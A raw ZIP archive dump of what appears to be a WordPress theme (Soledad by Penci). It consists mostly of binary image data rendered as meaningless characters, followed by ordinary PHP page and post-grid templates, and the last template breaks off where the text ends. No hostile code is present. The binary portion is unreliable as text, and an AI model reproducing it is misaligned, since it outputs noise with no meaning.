y$rW_n,<;Vp"^Q_Y#ۍox]n2T)ٞrr5ᅽPm[/&qq.+["e9/ܺxf,+&H;6h%Rr{vۻsVU2M(;'o=w:G#WD{/ܚ}/.ɪ9ӓ-59dݦFXԲ7ml঳HCn+tLq_ek<#2^|KܺES{[ڄTc[*9knvsӆީQW7~ƓI+7^XRj}7X~_*1&&	-VK=m                E"xW8"|&lY?$H (          f{Bl     9+O62 9V><ke cg9 ^&%IH        M F      (            	D &
' *X         /S       B =R         H H    t   *	`T@ ^  b	J @/D	O 	Jq='GY?nƧ{y	 @ՓdJ 2   M	  ic_3 RG"I4J: m?l}kHgdy$-K ԜKzϫ.X:\;hImw|Qf< -=Kcutn١pBoWC)o9L,HVRknLͧg73{o9%z{z'8Ǫx<9II;O\an7/@)4e2[yFJQR2D,29`%w->|σۀظ{ge'%=F:ԛn=&o)VgfSkAYG- $.8:ez[.m8Ƨ+>O7Rj1|6iŎ>g-q?V\PR>N2'6nj)7+lqHL@==i)V:GTr|x_Kㅹr=]J]Ҥ9]Tm[?ckν9.JV\zX~98}'qrSIxx%ar[>=bF}f9 RJ9(Oj\Vp鴳U,!Q̥EF+dDc?L[+U,n9v#Kq|=K`gOU$Mnqu1UZI[?25_tA5[}1C$jqN seNu5x[TZo(sRE1ㅼQ9>gSYc)F	ێ#\Rpͺ]gÂHEp+<l|d.v
zIGM|)EN_d}V۳"iז=れUr3X8+$rFwEs(9I6^Nyyzrz$ғmsd==9+BG{ߚ:#s>ݶtm8<<]}~+ c#r_,WL篙<4e8;q~S!'rmos,Xxf%3JZd٫,'׷ǁQR]YRIr͢ &>rwl<iuJ]ǒ3jwc$;QïFw^i䔒ݔ\o=)%csl_
I[^?9)=m.-s6{* 0    CH+~IؼX_NA.KŭP;S؆*i      %Q v`H"בh	b,N            vfOV;qo3&7R} t;ge}F]ZތǦiu唼yڸH*cBS M r       7$`                   J `Td @PQ`T         z       mM a        @       	,T` @ ) ^ (d ,
`H =W\W>r%㹹$Y9ru?LŶެ    @d,i8, 6@/m?l}oHe=)c} xgF{1ۇyo 2<9(Jy,SbmSod\˝l39tWUmn'^ry{@LlM	oeI;Yȸ	MS5Y5\?B*1J)$lH'={yU-t4=er9\ocMۻŌqr&Y\kSzRQ|y6c}pRI98%Ů	jRo''PBY~]ϟ_$T(;c-&UT^3YK$k^8ml˓5(ǗMS7+\ɃC6~L3PJM'-Lݒ>XƤvk<)U²q{In6K5ræ5e j|J)%U9d	;S(VݴWBWK|?tsAeCnKcJQIRT8s켎߭9jK$x?T>aǡo>ێ\M9cqؒ٣ϋI/SMirm?ĸ=8\U3 iJ58-JNzJx$F5l]6ꜜ]Q) >Pn+WeÚP,͸"kՔ4j#Hd$ysQ9Ä/.s2P~oQTƽճ/ImhgyvYK-v1ɍUr}IGO6Kx\cF3.rONl:LŤ)nf}Kg|^#n}SV\6mS\aKm2ɑ]3iJνyWf-nQ,ZI.=4mIegŒP|>I&_ԍ=s,u?ˉFH<eYrU*_2IR~xٳ,Y5k8)GnڊmńIŸ)|TL8q3r˽u:Uooc~O	JMIyI1pn7jG=Vyw/x_P$".6j_=1MF6rS)2WJI{iMqWCƤ~\s$S|2;Vqv(o&\+"^Ns_Ng$Z|"ikbv"\vN  $ _HɒT)y]'ak=ŀO*   B%4           	]G'/0w7_?_ӞrF     @*Xcb nEq       	@	     z       @     DTXD AE          d      $y,P{ગ                P^   } ,d   GKeܦ8$GIG>9c'2gK;.G,q *Sh*d q '     MT #>~ ԑ|>?$r'    (fEŒg*eDRI$HN?CuK{4ۍcymֲ˲NxW-ٞeG4d2vpǗ`Esu9t5[ljN'ol3.Y%uۍjd/(x-NxI="2,W2ˍ\d|$ꭥnf?,S,xB;[ݲ$remc녻mxRuj|cc_-V.Llp9Sv.ۆYNEӞ8q]gL;_Dmݷ؈F0U|k.7?Y/͸~Fw{kWiu4Ж<}3pVY[eI"Qy-7[68((4SMߒK'zm|yjI{7MUmIJ]vu\[G#V۞7oL2Y0Iꊴz]+>_SPɾZcMKOS1pgs~bJSΛ~Nnf8 ٮx][o/?_ZxrOj[>45MYO8q'i^YI\o'Qym	v=4nWєayb5ihcМ˚N9u0Z>64yG?]eQ=:6v}ygYua|uI{̟TLm..;g-˲[5RxTQj^nb6ɣ:+o彺H8)AKg8Y:cnQR8;<93Fozv둷,rpӆXB,QR>24Eu|	)E8[QrEM6olaƬ>Ky:zyt_৩5߇G_j8f'ѯaIs˓U7:̽u۟C8crv2e21e;9GƤ_)@y/      u{đ` 2                	SD q        =Άq`_oO(xOpNy         Az,T( ț$     p A6      ^        /@ P     J$'I>  AE                U(JlN,MD          H"   @ P   P^   '	ru[	oFEa%rkeԷ>:3ɹ6q9ɶeKo~"l, 80   b,^ic_3 RG ݇ǒh  6p={su ͪ5R 4       $ln8qC歀rܯ[o<On& ïkz 9ʼy~Ҫg8_s  ([?7IIh z5[6ja,P@tqF]QM=oW|E-;`}vǫ9/sfG7ld {d𭝎eʣp>@.<7O< c_ s13^1oG̿IU%Ipf㌴#_2['cUkz7=~ yp+8I{ţ)-)$ʾc˪.7DnZ^0NNsꓶ>&. y fv5K8O: 8 G95zzaʺ6Rc<mq 96    6ZA`	! A                             /y?&W Ղ7W<0 :          , E@@                 h        (                    d       $              "  ~@ P@ @,@ ')nSmt  @  X     @ D    PK     N\FG      images/icon.pngnu [        PNG

   IHDR         a   	pHYs         cHRM  z%        u0  `  :  o_F  IDATxڄOP{cYJcA"6"e,BNV6X[hJ"ldJMP,&iY8S8uι6]h.q
RI:$Gk}IE\aLcB$;:֛YvlI/$++݅'Iޟ|sIF}I$D#i\.|\Gjz;40&hN)nc5b];]K`2Z(0Zh8)ll7
xWՅ0S[?6ZUĩ:m=r5S9ЍQg?Lkzg0TTt {OIVOAoͭ
]~Uz 8?4**    IENDB`PK     N\OD  D    images/no-image.jpgnu [         JFIF       C 


		
%# , #&')*)-0-(0%()( C



((((((((((((((((((((((((((((((((((((((((((((((((((( I"              H     !AQTV167atq"3Rb#245ds                                     ?                                                                                                                                                                                                                                                                                                                                                                                                                       ?,V"wn͋TUܹ1홞HqOƞ 'TD=41~p5.,Op驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~p驺OH	MMr~U()<U^;iJ?K&pY]k-p#m5c~St                                    טӸkFݸggW<t?(<(g_/(g4}չ%)bclL~D<i]Cv7-d9tUU5S111?-I߹\'W~soKRu7W<,i-I߹\ԝ_*oKRu7W<'W~sʲFԝ_)-I߹\'W~soKRu7W<,i-I߹\ԝ_*oKRu7W<'W~sʲFԝ_)-I߹\'W~soKRu7W<,i-G߹\5+r.S4WL5STLLNݓtSot)bfS6hGpO&2L3*TLSsf*۲~PcL{c)Y                                    o}==ȾRC:>{F{}~Ĥp3 RQ4/31QWqSAMsi19\~kx[1rٷ>sٖw'3(Yorf>{&#]U+3ɳ廼ft\<zUmgE뜛WYoM#\ވ>ͼq4r~++/Wcb'd rl3RQ3Q6OU           3[UKv -==ȾR"?J                                    Ev -3% o/rȲkqMuUͶ) 9vFvM7wRh`Jjײ&*>{&xg`%  "fvGsg68*lP6znvhQ4cqu&lDSLDqrN   ֚.YUXlQ1UC[7-LLuȟʫfΦI3[v|TqSnJiH =٧]z,b.m߷)Ms 7?)**biq0]crmndSk)Ww*m_V'98Gb,۽b-\*&&*1<   3[UKv -==ȾR"?J                                    Ev -3% 'r,6{d-5]\LZ<ˎf[̾{";"p~O?&vDw;ՙȢEvL(}ǹXlk2[*ffy'?ګGX    awLsf)k䪾h{gǡx}-j+#:8ӇSW=\ 98^#޹v˓jy~kγ+^#vv]_"9#H  rұ:RnbrJUU.zqipVqxS[nvP[}w@o9Mڶmyjyy*䙶<,E-Mtbybc~RJ[PξρmV-(g_g"?JF:3%+8                                     3[ggJZ(g_gh|2/  xܮvQEUUNȈ@<S˖e:c^&^ d#ku:IiFviJ~|ʳ,&maoSD퉎iMm$u70kn#-TM,~jy쟕IʭfU|DTrOI7YFK=r7qiLG=?~'kuX.m 4۞98ٞ9޻]]ꚪgfygk     s~WrcNnG<sU EM]yU{-UU]qTrO Čw]qJ"*MSN3)3r
%)nC:>Zo}33%+9|2/                                    J[Pξρmўd__)hwo}==ȾR8ka271Ff]#9dq?l^&wn͋TW.\#3)umo[2̚2jgeUqxj~_yn./Wgl[m۲n%U ߍ  C,γ,k8?NꘋOm=c/        l2	(rG[6{ݙ}J[PξρmV-(g_g"?JF:3%+8                                     3[ggJZ(g_gh|2/quSLSU4♊cd9vL ݙm            :'ġoveP
-)nC:>Zo}33%+9|2/                                    J[Pξρmўd__)i7r]sjܦT<~Ĳzskrf#lY^b6妸e։˵%*8jLLDL=ZL]Mt)"b+ۦL=idט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~C7~ߑ߆Mmyidט>OK~FCsh7-ݽjl阈mL&ﶼ4Xnko}ڐcb6' &3\&wl~]wp++~Kt3->f"?JFwCEu(H                                   wu،k:-MvfU{fbiYD'911+۝iE~F;uqTۮ睜S?9)	3L s~L/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggL/L㶵ozggM2ʴM~`_D]N6 oSffՋttWrf&&vL>N>DDF@                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PK     N\d      images/searchsubmit.pngnu [        PNG

   IHDR         a~e   gAMA  a   sRGB    -PLTE   ř   tRNS ?k+S	r   mIDATӍA n($d)Oe@e!%kQ6A(RD:@Zt+pDW]YoOn8ßYZC    IENDB`PK     N\^A@      images/loading2.gifnu [        GIF89a   ̙333fff            !NETSCAPE2.0   !   ,       VH0HHޙ(CI}hȕ,k>/	s7`yHE(iXJ`x7.ZAg7M  !   ,
     0H+t倝Hj+p ߮*'G !   ,
     3Hΰդ& h~&ɥA r#
+`o8FHI  !   , 
    3H5ޖvַ	JgӢ
,(CAmԉp"xI  !   , 
    4HP-N!`dVgeԢ<4A@ԉg$  !   ,     1HJI
/ b#d
P r3
9#q 0 !   ,     3H,ΐ|khuE֛)`XCjv n@pUFI  !   ,     4H<0Gϒ 2\eb]
H@4=#R1\&  ;PK     N\RľA  A  !  images/penci-logo-themeforest.pngnu [        PNG

   IHDR   P   P      tEXtSoftware Adobe ImageReadyqe<  xiTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90" xmpMM:DocumentID="xmp.did:839CF504008911E6A09CB6A5191CF9F4" xmpMM:InstanceID="xmp.iid:839CF503008911E6A09CB6A5191CF9F4" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:798b30b9-59d5-4638-8d32-4f714ac13a90" stRef:documentID="xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>G  _IDATx	pTUO7!!}_؃S(N(%!Ią}Hdg
1 
%Sc5@ؒ;k%/اN}~l!H2?5uIYsVI T+?7/)?@vٙYԪ*}Y}Edh
~>"sQF𔗚!^xp+vaAY*Jx }{OQ"40HBEyYP1b: yuᅄ3:0<SK4ر!$dSm%ǝ[<c1!! 潝ku<(̕/>\%ǈ3ɞF^%پ}{jtǎXX6y,vCG6FKrroIS5'	uɋk4tM6m͉ڵkGOޫ(>11^0?-Ã`#_WC.T]dC9iYW[SC.l5{ZDt)r
999IKLHJLcVM0γT׉>";3S*pC>./8`
ѧM!SvmInQx[bN Ϟ	/gAXRxgsט%dY2xyٲγzhփnxCN+fy?̈́YiDsʹj γ*F/ 7}wԃCܫr`>!ޱ#]TP03M7kTSS#1
aCmح_%>=Ng~.JXڹ#
	hm=xB&NׯS۶meg+girG!+/?/N ++;ɸx̟-Ə'V+Ξ=kua,pnI{#+(.ÆY.)z>./kZuiF~z`{wns?<dcKԳgOٙ&O|%bKL0677#M[j+xe,\Hsgϡؚ;v חccIЕ+w;v	Fpm|;yF:w,őźFFFR\8\^P2̰ۢf|~p_E~n8QvӧLq\K#G9txOlٴbn+xl5bћo ?('0]cDrbꫯ]̙S'Mn;|7g޹oRv{A\x	411*5ڵkz|=86~ƌTӧk_7I9%^?A\\8ņ}kt@~'oQAe4Zv-yzy:QnA>-{guj?2*J[|,o#}m\l(+8{ӻOuda/ŉП4џ59!0ʺ\D[7oBܙ'LJfuޝML'O$///ڽk|*\V,}#?#mXN&ԧJM*촆3R6i??@l4tLΝkU؅C[~M)l'ݯ_?|YZcVﯿn^*}r0de}'K(H@]vа0-\qwh\ϊM;FY',"JvηS'*youT_&wwiɶ[iؐ/phC
Fr\_M>vM>F-٫W]xʫ4+)I. QAQ6???*but))r>ImM--HєIWH)"=3TkJHL4ZAD@A(N#Gk[|Mzi,hʚիg
qܐ}?RK	en<?b׉'pçO#)Rw3>bmپW'fKta6ݺI*ëE1M<(=i󖖿O(uG& WX@+JVʕMcMQi-"0#9 "F#-J"x6ue-Ғ$ ^g~I&E&j	/*:6lH#Gjڦ*6҇kP#p_@|zw{doXӣ~<@
&^7C`'wh׭PSEk"n\MvoVϫM<e	jEֹkwJJNxZs	ŋefK5Sb|TW<,}Nppg E038WG(3'h12q ]tI8 W.&:t|Pf\dK3t1Kg5
/A!7>[liJ,E3<^s xł:ڨ0KwG*Ϥ@ww],hlh-QhԘц]Bh%(]VbZcX4E މA,ZX֡5]q[ W^7Ņ:7ro=riOq۱0@hLKrON i4w'h6}:9|D&l h=[cZ: Z<x#SfϡHWǝTYIɜ>y. M4c!-ݍ(Fw ߊOɋMJgE?wmHvnO@D
P\nmkLe5VivhC![n7td?"J{b݅"==hv\YV#hD|}U|ZA*w,N ǀҽ"ZrC     bK9z𬆹=EP1sr2ÍrJ/
~c3h?~f@7}5(eedtFP=<>bLB0&拽l-#_2#e_EMtxDxG|  5G8t[QThmsWލFe3 kd kR g_ +W-eK    IENDB`PK     N\lnb      images/404.pngnu [        PNG

   IHDR      W   K$\   gAMA  a   sRGB    PLTE   111111111111111111Bqz   tRNS 6ˏl7   IDATx՜r n;Y7Q9I)\.{Vj_i,#dyjcRLVw;Z]tV*Ժ^Ɲ6t,ݠkm
*. TTC Th>C	M:,UuAhbA W߲_ˮ$׼Ae,r'ɴJxDʌaU@+-EwnF@=`Y%X9PىOUOM^*jUA*AȲ)a:glwQ'IHd{/GlF"{m`6)qC*ѵyS*atS"؜UBWGuQE2ÌDzzVޛv*/,
:ZY2-.,=BYtf.(5JPk0ʤkL?
V)pId[eœme֜&IP&]ӄ19e5Os2
SNg5PYEʶ2y?e%td;_./(3
8~tP''Bq;+P΀r~x;CXuGau{?N_;D?]q~7ItʙPRoff@	ڐ@m
/=* jփovl۪xW\e9wi8vS5emtˀ
IL
Ḿ΁ρ
AtKwP/ؑrJ7^LP&-ľ~}e,1    IENDB`PK     N\      images/vc-icon.pngnu [        PNG

   IHDR           D   gAMA  a   sRGB    -PLTE   111111111111111111111111111111111111111111>   tRNS :%֯f{OZ\   IDAT8Sɒ ʢY\&c<rhr) @1bp@ZRr{#A.0Lv16<),l.<ҪJʙ '\d	<';9Y6_tT&W%?ΓFˈ1ڣp<zDE/7!jd.kX;(E[vv0Ywu{8'͒oD|iӸTe^\l72IZ=iC?sC%RC8?X    IENDB`PK     N\}      page-sidebar.phpnu [        <?php
/*
	Template Name: Page with Sidebar
*/

/**
 * Template using to display sidebar on page
 *
 * @since 1.0
 */

get_header();
$sidebar_position = 'right-sidebar';
if ( get_theme_mod( 'penci_page_default_template_layout' ) == 'two-sidebar' ) {
	$sidebar_position = 'two-sidebar';
} elseif ( get_theme_mod( 'penci_page_default_template_layout' ) == 'left-sidebar' ) {
	$sidebar_position = 'left-sidebar';
}

$page_sidebar = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
if ( $page_sidebar ) {
	$sidebar_position = $page_sidebar;
}
$breadcrumb     = get_post_meta( get_the_ID(), 'penci_page_breadcrumb', true );
$featured_boxes = get_post_meta( get_the_ID(), 'penci_page_display_featured_boxes', true );
$page_meta      = get_post_meta( get_the_ID(), 'penci_page_slider', true );
$rev_shortcode  = get_post_meta( get_the_ID(), 'penci_page_rev_shortcode', true );

if ( Penci_Featured_Slider::is_slider_style( $page_meta ) ) {
	if ( $page_meta == 'video' && get_theme_mod( 'penci_featured_video_url' ) ) {
		get_template_part( 'inc/featured_slider/featured_video' );
	} else {
		Penci_Featured_Slider::render_featured_slider( [
			'style'         => $page_meta,
			'rev_shortcode' => $rev_shortcode,
		] );
	}
}

/* Display Featured Boxes */
if ( $featured_boxes == 'yes' && ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;
?>
<?php $show_page_title = penci_is_pageheader(); ?>
<?php if ( ! $show_page_title ): ?>
	<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
		<?php
		$yoast_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb">', '</div>', false );
		}

		if ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container container-single-page penci-breadcrumb">
                <span><a class="crumb"
                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$page_parent = get_post_ancestors( get_the_ID() );
				if ( ! empty( $page_parent ) ):
					$page_parent = array_reverse( $page_parent );
					foreach ( $page_parent as $pages ) {
						?>
                        <span><a class="crumb"
                                 href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                        </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php }
				endif; ?>
                <span><?php the_title(); ?></span>
            </div>
		<?php } ?>
	<?php endif; ?>
<?php endif; ?>

<div class="container penci_sidebar <?php echo esc_attr( $sidebar_position ); ?>">

    <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
        <div class="theiaStickySidebar">

			<?php if ( ! $show_page_title ): ?>
				<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
					<?php
					$yoast_breadcrumb = '';
					if ( function_exists( 'yoast_breadcrumb' ) ) {
						$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb penci-crumb-inside">', '</div>', false );
					}

					if ( $yoast_breadcrumb ) {
						echo $yoast_breadcrumb;
					} else { ?>
                        <div class="container container-single-page penci-breadcrumb penci-crumb-inside">
                                <span><a class="crumb"
                                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
							<?php
							$page_parent = get_post_ancestors( get_the_ID() );
							if ( ! empty( $page_parent ) ):
								$page_parent = array_reverse( $page_parent );
								foreach ( $page_parent as $pages ) {
									?>
                                    <span><a class="crumb"
                                             href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                                    </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
								<?php }
							endif; ?>
                            <span><?php the_title(); ?></span>
                        </div>
					<?php } ?>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
				<?php get_template_part( 'content', 'page' ); ?>
			<?php endwhile; endif; ?>
        </div>
    </div>

	<?php get_sidebar(); ?>
	<?php if ( $sidebar_position == 'two-sidebar' ) : get_sidebar( 'left' ); endif; ?>
</div>

<?php get_footer(); ?>
PK     N\/N0  0    page-blog.phpnu [        <?php
get_header();
?>
    <div class="container-single-page container-default-page">
        <div id="main" class="penci-main-single-page-default">
			<?php
			$page_id = get_option( 'page_for_posts' );
			echo penci_get_elementor_content( $page_id );
			?>
        </div>
    </div>
<?php
get_footer();PK     N\`!  !    content-magazine-2.phpnu [        <?php
/**
 * Template loop for magazine style 2
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="grid-style magazine-layout magazine-2
<?php
if ( get_theme_mod( 'penci_grid_meta_overlay' ) ) :
	echo ' grid-overlay-meta';
endif;
?>
">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
								<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>
                                <div class="swiper-mark-item swiper-slide">


                                    <figure <?php echo penci_layout_bg( $the_image[0] ); ?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
										<?php
										if ( $the_caption ) :
											?>
                                            title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0], $the_caption ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
					<?php do_action( 'penci_bookmark_post' ); ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder <?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ) : ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">

			<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php do_action( 'penci_grid_meta' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
							if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else :
								?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                        <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( get_theme_mod( 'penci_grid_countviews' ) ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ) : ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>

		<?php
		if ( get_theme_mod( 'penci_grid_add_readmore' ) ) :
			$class_button = '';
			if ( get_theme_mod( 'penci_grid_remove_arrow' ) ) :
				$class_button .= ' penci-btn-remove-arrow';
			endif;
			if ( get_theme_mod( 'penci_grid_readmore_button' ) ) :
				$class_button .= ' penci-btn-make-button';
			endif;
			if ( get_theme_mod( 'penci_grid_readmore_align' ) ) :
				$class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' );
			endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style magazine-layout magazine-2 penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>
<?php ++ $j; ?>
PK     N\0Ճ        wpml-config.xmlnu [        <wpml-config>
  <admin-texts>
    <key name="theme_mods_soledad">
      <key name="*" />
    </key>
  </admin-texts>
</wpml-config>PK     N\n&  &    content-list.phpnu [        <?php
/**
 * Template loop for list style
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_class = [];
$post_id = get_the_ID();
$custom_image_size = isset( $cimg_size ) && $cimg_size ? $cimg_size : 'normal';
$post_class[] = ! has_post_thumbnail() ? 'pc-nothumb' : 'pc-has-thumb';
$post_class[] = get_theme_mod( 'penci_imglist_align' ) ? 'pc-list-imgright' : 'pc-list-imgleft';
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
